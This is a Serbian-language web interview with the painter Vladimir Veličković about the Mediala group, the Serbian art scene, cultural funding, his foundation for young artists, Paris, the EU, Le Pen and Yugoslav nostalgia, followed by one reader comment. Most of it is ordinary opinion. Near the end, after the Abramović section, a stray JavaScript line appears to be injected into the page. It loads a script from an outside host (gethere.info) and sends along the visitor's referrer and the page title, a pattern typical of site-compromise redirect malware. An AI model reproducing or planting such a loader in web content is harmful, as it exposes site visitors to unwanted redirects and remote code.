INTERVJU, VLADIMIR VELIČKOVIĆ: Srbi u Francuskoj glasaju za Le Penovu, nešto nije u redu sa njima

INTERVJU, VLADIMIR VELIČKOVIĆ: Srbi u Francuskoj glasaju za Le Penovu, nešto nije u redu sa njima


Kad ćemo da shvatimo da politika i političari prolaze i nestaju u nepovrat, a da je kultura, prosvećenost, to što ostaje. One su integritet jednog naroda, i to je svuda tako u svetu, samo je kod nas kutura već duže vreme na porođajnim mukama, pa hajde da je porodimo, makar i carskim rezom

Prvi i jedini kompromis u životu napravio je ispunivši očevu želju da upiše i završi arhitekturu kojom se nikad nije bavio. Slikarstvo ga je rano uzelo pod svoje, a kao samouk, tajne ove umetnosti “učio” je od Leonarda, Mikelanđela, Goje, Rembranta… Pripadao je medialistima i najcrnji je u “crnom” slikarskom talasu u kome se za jedinstvenu poziciju izborio upečatljivom, mnogi kažu i morbidnom ikonografijom. Ne mareći da li će ikad unovčiti talenat i prodati dela koja su sve samo ne praznik za oči, slikao je prizore koji izazivaju jezu, strah i pesimizam. Ubrajaju ga i u najplaćenije savremene srpske slikare, vlasnik je dvaju akademskih titula – član je SANU i Francuske akademije lepih umetnosti. Vladimir Veličković nije prestao da se izjašnjava kao jugoslovenski slikar s prebivalištem u Parizu.

Svrstavaju vas u drugu generaciju slikara Mediale. Zašto ste se na početku bavljenja slikarstvom između medialaca i enformelista opredelili za ove prve?

– Ne znam koja je to prva generacija, ako smo mi prva. Mediala je bila jedna, jedinstvena, nikakva druga generacija nije postojala, a i ova, bar ono što je preostalo, polako se gasi, a i vreme je za odlaženje. Moram da naglasim ono što sam već u više navrata učinio, da sam bio prisutan vrlo periferno, Mediala mi je bila potrebna da bih izlagao. I nisam delio ideje i koncepte koje su imali “tvdi” članovi Mediale. Družili smo se, ali ništa više od toga. A interesantan je podatak da su u grupi bila trojica arhitekata (Šejka, Siniša Vuković i ja) bez ikakvog likovnog obrazovanja, samouci, blago rečeno, što je, ipak, doprinelo da je svaki od nas imao izvestan svoj jezik, svoju posebnu priču i nije bio podvrgnut “tretmanu i pedagogiji” beogradske Likovne akademije, što nije mala stvar. Pojava tzv. enformelista bila je i te tako interesantna s obzirom na to da se radilo o apstrakciji uz obilato korišćenje “materije”. Bio je to susret ili sukob dve opcije – figurativne i apstraktne, koja je učinila veoma dinamičnom tadašnju beogradsku likovnu scenu. Bilo je više nego logično da budem pre blizak Mediali nego ovima drugima, mada sam, ipak, “flertovao i ja s materijom” na svoj način.

Da li je Mediala, kako ocenjuju mnogi kritičari, najvrednije što je srpska likovna kultura postigla u dvadesetom veku?

– Pa baš ne bih preterivao i bio do te mere kategoričan. Po završetku rata i malo neuspelog i neprihvaćenog socijalističkog realizma, buknule su uz nove mlade snage oslobođene tereta diktata, i prve izložbe kao veliko osveženje, a i iznenađenje. A onda je sve krenulo. Nekoliko paralelnih tokova je funkcionisalo uz zdušno asistiranje Mediale na “dobrobit naših naroda uz petogodišnje planove” u koje su i umetnost i kultura bili uzeti u obzir. Lepih li vremena.

velickovic32Prestanite da govorite o cenama, to apsolutno nije bitno. Zar postignute cene pojedinih umetnika “zvezda” ne dostižu astronomske cifre za “dela” koja to apsolutno ne zaslužuju?

Kakva je srpska likovna scena u ovih deceniju i po 21. veka?

– Koliko sam u stanju da pratim – bogata je, originalna, mladi su više nego aktivni, obavešteni su o svemu što se događa u svetu (možda i suviše, može da škodi). Sve im najlepše želim, neka tako nastave. Nije im lako, ali ponekad je i bolje uz muku. Kakva razlika unatrag 50-60 godina! Mi ništa nismo imali. Ni najosnovnije materijale, ni informacije, ni ateljee, ali energija i ambicija su bile prisutne, a to je ono bitno.

Slovite za apokaliptičara koji akcenat stavlja na ekstremni pesimizam i morbiditet. Likovni kritičar Đorđe Kadijević je vaše stvaralaštvo doveo u vezu sa Šejkinim „Zamkom” koji ima i „prizemlje”, u kome je Ljuba Popović, ali i „Podrum” u koji ste jedini bili hrabri da siđete i da slikama kažete istinu: da svaki čovek u sebi nosi ono satansko i neljudsko jednako kao i ljudsko. Šta biste dodali ovom tumačenju vašeg stvaralaštva?

– Morbidan apsolutno nisam, a pesimista u meni varira, oscilacije su svakodnevne. To “silaženje u podrum” je jedna istinita ali zastrašujuća metafora, da đavoli kolo vode više od bogova tačno je, ali kako izaći na kraj s tom sumanutom potrebom za razaranjem, ali u ime čega, u ime bednih razloga i visokih profita. Ponekad se i sam prepadnem prizorom koji se pojavi na crtežu, slici – ali to je jače od mene, osećam odgovornost i prema sebi, a i prema onima koji taj crtež, tu sliku dele sa mnom i pogledaju je. Uvek sam govorio da mi je taj dijalog neophodan, indiferentnost bi me ubila i to traje 60-65 godina, od samih početaka. U podrum sam sišao, iz podruma još nisam izašao. Taj čovek, ljudsko biće, sveprisutan je, ranjen, razapet, ti prostori mojih slika, zapaljeni i sagoreli, prostori su naše svakodnevice. Dozvoljavamo da nas mračne grabljivice kljucaju sve više i više bez milosti. Mislim, pre svega, na ove užasne ratove oko nas. Nisam siguran, bar do sada, da će se nešto nabolje promeniti, a do tada dajem sebi za pravo i obavezu da nastavim ono što radim. Ljubomir Simović reče: “Veličković ima ogromno pokriće za ono što radi” (katalog SANU 2013. godine).

Da li ste razmišljali o tome ko će kupovati vaše slike koje, složićete se, nisu bile privlačne za tržište, a koje su do te mere zastrašujuće da na prvi pogled izazivaju strah, odbijanje?

– Nikada. Samim tim što nikada nisam bio sklon bilo kakvom kompromisu, nije dolazilo u obzir da slika bude u skladu s lampom… Moje slike se nikad nisu lako prodavale, a to je i danas slučaj. Samo, moj nekompromisni stav je, ipak, urodio plodom. Upornost se isplati. Kao i u svemu.

Imate retku karijeru među našim umetnicima. Osim vas nijedan naš slikar nije postigao i društveni uspeh, osim umetničkog. Vi ste član i SANU i Francuske akademije lepih umetnosti, a 17 godina ste radili i kao profesor. Kako vam je kao samoukom slikaru sve to pošlo za rukom?

– Nemam pojma. Kako rekoh, upornost, a i ambicija, čak i ona bolesna nije nauštrb.

Evropska unija će, nadam se bar, preživeti uz male korekcije tog, pre svega, preglomaznog aparata koji užasno košta i koji, bar kako kažu, nema potrebe da bude takav kakav jeste. Što se Engleza tiče, oni su oduvek bili “vaška obaška”, ostrvljani. Oni će vremenom zažaliti za “starom Evropom”

Sada već 1979. govorili ste da je likovna umetnost u krizi, da su se ljudi udaljili od likovne umetnosti jer su bili odvojeni branom nerazumevanja, ali da se kritika, publika i sami umetnici polako vraćaju slici u klasičnom smislu reči. Kako biste ocenili sadašnji trenutak?

-To je bilo ’79.godine, tako mi se bar činilo, ali decenije koje su usledile lepo su me demantovale. Pod likovnim se mnogo toga pojavilo, crteži i slike su preživeli, čak se dobro nose sa svim što ih je ugrožavalo u jednom trenutku. Uglavnom, zahvaljujući prisustvu nekoliko velikih slikara koji su kvalitetom svog rada odbranili status slike. Scena se i te kako obogatila, ali pitanje je da li svi ti pravci i nuspojave mogu da se smeste pod likovno. Nisam siguran, ali to je dobrodošlo da bi se našlo bilo kakvo utočište konceptualcima, performerima, fotografima, čak i kompjuterašima, pa se umetnost i “umetnost” veoma bogato proširila da je umetnika užasno mnogo, a da je apsolutna tačno ono Vorholovo da je svako 15 minuta u svom životu umetnik. Pa ako to neko ozbiljno i shvati, može da produži dalje. Činjenica je da ima svega i svačega, svakojakog đubreta, čak i bukvalno đubreta, raznih igračaka, plišanih medvedića, veštačkog cveća, i da ne nabrajam, lista bi bila predugačka, tih pseudodela i pseudoumetnika. Mali primer mogućeg: jedna cigla je cigla, ali uneta u galeriju, postavljena na postament i osvetljena, postaje, nesporno, skulptura. I opet, cigla je cigla, ali hiljadu cigli je opet skulptura iliti instalacija, i tako možemo unedogled sa sličnim primerima. Naravno, ima u svim tim “pojavama” izvanrednih umetnika koji zaslužuju visoka mesta u hijerarhiji ovog veka i po.

Ljuba Popović i vi godinama slovite za najskuplje srpske slikare. Ljuba se pre nekoliko godina požalio da Srbija kao država nije učinila ništa u pogledu otkupa, kao neke druge zemlje. Boli li vas odnos naše države prema vrhunskim umetnicima?

– Prestanite da govorite o cenama, to apsolutno nije bitno. Zar postignute cene pojedinih umetnika “zvezda” ne dostižu astronomske cifre za “dela” koja to apsolutno ne zaslužuju? Ima pravih vrednosti koje i te kako dostižu visoke cene, ali to su uglavnom “klasici” i nekoliko savremenih “plastičara”, kako se sada nazivaju oni koji se bave navedenim disciplinama. Na francuskom se to kaže “les plasticiens”. Da se vratim na ovu našu današnju državu u kojoj kultura nije miljenica. Mogla bi da se inspiriše, da samo spomenem instituciju koja se onomad zvala Komisija za kulturne veze s inostranstvom – to je bilo čudo od institucije, šetala su se naša pozorišta po svetu, izložbe jugoslovenskog slikarstva i skulpture, baleti, operske predstave… A danas nismo u stanju da okrpimo dva naša najveća muzeja (ali biće, kažu, pred leto), između ostalog, da izaberemo direktora Narodnog pozorišta i tako u beskraj. Budžet za kulturu je 0,6 odsto, pa ko može nešto da uradi s takvom crkavicom kad nam ni škole nemaju pristojne toalete, a da ne govorimo, recimo, o otkupu slika! Ili finansiranju pozorišta ili filmova. Radi se, stvara se, publikuje, ali uz veoma velike napore, kao da je kultura u ovoj našoj sredini ukleta. Kad ćemo da shvatimo da politika i političari prolaze i nestaju u nepovrat, a da je kultura, prosvećenost, ono što ostaje. To je integritet jednog naroda i svuda je tako u svetu, samo je kod nas kutura već duže vreme na porođajnim mukama, pa hajde da je porodimo, makar i carskim rezom! Ne kupujmo nove audije za ministre i poslanike, više odsutne nego prisutne, jer to je kvarljiva roba. Finansirajmo izdavaštvo, ulažimo u umetnost. To ostaje budućim generacijama i posle ovih budućih. Ranije su razna ministarstva kupovala za svoje prostore slike, i ministarstvo spoljnih poslova bi kupilo neku sliku, što je bio godinama običaj.

Odrekli ste se nacionalne penzije da biste pomogli mladim umetnicima u Srbiji zbog čega ste osnovali i Fondaciju koja nosi vaše ime, a koja je pokrovitelj izložbe Vladimira Sekulića, Andree Dramićanin i Tamare Žderić, koju ste nedavno otvorili u galeriji Haos. Da li je mladima danas teže u odnosu na vreme kad ste vi počinjali i kad ste 1966. godine „grlom u jagode” otišli u Pariz?

– Nisam ja krenuo grlom u jagode, bilo je to mnogo organizovanije nego što mislite, bar u prvom trenutku (nagrada na Pariskom bijenalu 1965), a posle su se događaji smenjivali nesmanjenim intenzitetom, prva izložba u Parizu… Ali, bilo je više slobodnog prostora, više strpljenja, više radoznalosti. A što se Fonda tiče, osetio sam potrebu da nešto uradim s tim novcem. Sličnih primera skoro da i nema, a mladima je i te kako potreban izvestan podstrek, čak i minimalna nagrada im je dobrodošla. Mogućnost za izlaganje s divnim i hrabrim angažovanjem Borke Božović i galerije Haos svakim godišnjim konkursom za ovih devet godina, koliko je star Fond, okuplja neverovatnih 100-150 kandidata, što pokazuje kolika je želja, a i potreba za takvom akcijom i, evo, vidite, nisam se prevario. Iduća je jubilarna. Izložićemo sve do sada nagrađene. Hvala još jednom Borki u ime ovih divnih mladih, talentovanih i vrednih ljudi, uprkos teškoćama na svakom koraku, i u moje ime (neko reče da sam sve to uradio za svoju afirmaciju, čudno, a naše, i pogano).

U Parizu podržavate naše slikare. O kojim umetnicima je reč i na koji način im pomažete?

– Kad mogu, a i kad zaslužuju, bez oklevanja hoću da učinim, neki kontakt, makar i kontaktić, s galerijom ili za atelje, a imam mogućnost da u okviru ovdašnje Akademije dodelim nekoliko nagrada. Znači im, a kako i ne bi.

velickovic37A što se tiče Nacionalnog fronta i Marin Le Pen, tužno je da jedna Francuska sa svim svojim sekularnim vrednostima postavi sebi i narodu pitanje ove moguće opcije. Verovatno niste znali da većina Srba u Francuskoj daje glas upravo Le Penovoj. Mora da nešto nije kako treba u njihovim glavama

Možete li da nam otkrijete šta trenutno radite i kada ćete u Beogradu imati izložbu?

– Pričekajmo malo. Treba pokazati nešto novo, naša publika je tradicionalno teška i zahtevna, ne oprašta, jer joj nije svejedno kad je izneverite. I dobro je što je tako. A kako već rekoh, ako je ikako moguće da evolucija u mom radu bude u kontinuitetu uz što efikasnije sudelovanje ovo malo glave i par mišića.

A kakva je francuska publika?

– Francuska publika je pristojna.

Niče je rekao da za jednog umetnika ne postoji drugi dom u Evropi osim Pariza. Da li je i danas tako, kako se francuska prestonica odnosi prema umetnicima?

– Imao je brkati Niče pravo. Pariz ostaje ono što je bio – Pariz. Nećemo ga hvaliti, ali od lepote samog grada i neverovatnog broja svih manifestacija nema mu premca, a što se tiče odnosa prema umetnicima, bilo bi tu mnogo zamerki i zakeranja, tu bar nema razlike između Beograda i Pariza. Čini mi se da ne postoji adekvatan reciprocitet, i to je veliki nedostatak. Pariz, Francuska, nesebično primaju, a zauzvrat ništa ne dobijaju. A možda ni ne traže. Bolji su primeri u odnosu na Ameriku, jer se tamo rešavaju događaji, Nemačka, Engleska, pa čak i Španija i Italija, a da ne spominjemo Kinu koja je bukvalno buldožer koji ne bira ni put ni sredstvo da se iskrca kod, sad već blizu trona, Donalda Trampa koji će ih oberučke prihvatiti jer drugačije ne može, a i neće, nije mu u interesu.

Koliko se Pariz promenio posle terorističkih napada?

– Sve što se izdogađalo zastrašujuće je, i čini mi se da sve moguće preventivne mere ne mogu ništa ili skoro ništa da učine. Čekamo sledeće. Čak i kad je opsadno stanje koje bi moglo da nas uznemiri, činjenica je da s podozrenjem i nespokojstvom gledate izvesne individue koje vas mimoilaze. To je ipak mnogo.

Francuski premijer kaže da je Evropa na prekretnici i da EU može da se raspadne, dok je predsednica ultradesničarske partije Nacionalni front Marin Le Pen, pozdravila odluku Britanije da napusti EU i pozvala na održavanje referenduma i u Francuskoj. Vi ste pre nekoliko godina optimistično izjavili da verujete u njen opstanak.

– Evropska unija će, nadam se bar, preživeti uz male korekcije tog, pre svega, preglomaznog aparata koji užasno košta i koji, bar kako kažu, nema potrebe da bude takav kakav jeste. Što se Engleza tiče, oni su oduvek bili “vaška obaška”, ostrvljani. Oni će vremenom zažaliti za “starom Evropom”. A što se tiče Nacionalnog fronta i Marin Le Pen, tužno je da jedna Francuska sa svim svojim sekularnim vrednostima postavi sebi i narodu pitanje ove moguće opcije. Daleko bilo. Verovatno niste znali da većina Srba koja u Francuskoj ima pravo glasa, daje glas upravo Le Penovoj. Mora da nešto nije kako treba u njihovim glavama.

Kad su u pitanju nastojanja Srbije da se pridruži EU, jednom prilikom ste upozorili da treba biti obazriv da ne dođemo u situaciju da moramo da žrtvujemo više od onoga što Evropa može da nam pruži. Može li Srbija da priušti sebi taj luksuz da izbegne ucene, ispunjavanje raznih uslova…

– Srbija je dovoljno stara i zrela država da ima sva prava da insistira na svom integritetu, na svom dostojanstvu bez kompromisa, ne treba dati više od onog što nam se dâ, ni po koju cenu, a ako ne može, ima i drugih opcija.

Sve više umetnika i intelektualaca iz svih bivših republika javno izražava žal za Jugoslavijom i kažu da je SFRJ bila EU u malom, da je to bio ozbiljna civilizacija i kosmopolitski koncept. Čak je i Butros Gali pre nekoliko godina izjavio da se nada novoj Jugoslaviji. Vi se izjašnjavate kao jugoslovenski slikar s prebivalištem u Parizu. Mislite li da je ideja jugoslovenstva zauvek nestala?

– “Zajedno smo jači”. To je aksiom. Samo budale su mogle da kažu suprotno. A zašto smo to dozvolili? Nisu uzalud “oni drugi” kumovali tom raspadu Makijavelijevom – “podeli, pa vladaj”. Nisam siguran, ali baš nimalo, da smo taj program mi sami stavili na onaj monstruozni “meni”. Zašto je tako malo nedostajalo da se pokoljemo (nije prvi put u istoriji), ali ne verujem da tu može nešto da se vrati. Možda bi izvesni dogovori apropo manje netrpeljivosti i još koječega doprineli da na ovim prostorima dođe do izvesne sloge, “kako to lepo zvuči”, saradnje, nećemo baš prizivati i ljubav, ali možda čak i to. A što se tiče mog jugoslovenstva – pa jesam jugonostalgičar – i ponosan sam na to jugoslovensko poreklo i pripadnost ovom tlu. Ostalo je samo papirologija koja kaže nešto drugo, ali to je beskrajno dosadno i nevažno.

Ne dolazite često u Beograd, ali kad dođete, šta primećujete, menja li se grad?

– Neću da se ponavljam, jer sam se već oglasio o Beogradu na vodi, ali moram još jedanput. Tu kulu od 140 metara ni u bunilu… Grad se menja nabolje, sve više liči na pravi veliki grad, ali mora još mnogo, mnogo da se uradi, da ljudi, građani pokušaju da vole svoj grad, da ga poštuju i da mu žele dobro. Bilo bi dobro da se zabrani proizvodnja sprej-bombi i da se tzv. navijačima objasni, ako može milom, ako ne silom, da to brljanje po beogradskim fasadama ničemu ne služi, a ponajmanje njima.

Šta želite Srbiji u 2017.godini?

– Da s kontejnera nestane reč “prijatno”!

MARINA JE NAPRAVILA ČUDO NEVIĐENO

Kako gledate na internacionalni uspeh Marine Abramović koja je stekla svetsku slavu kao konceptualna i multimedijalna umetnica, a ne kao slikarka? Šta uopšte mislite o umetnosti performansa?

– Kako se to već kaže kod nas – “svaka čast” – i dodatno bravo. Čudo je napravila neviđeno. A dobro je uradila što se otarasila na vreme svojih početnih slikarskih pokušaja.

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

  1. 1
    додон

    Што м и нисте објавили кооментар. Нисам га увредио ничим. Осим што сам рекако шта значи бити Југословен када Југославије нема. Али нема везе сви ионако знају да слобода речи не постоји

+ Ostavite komentar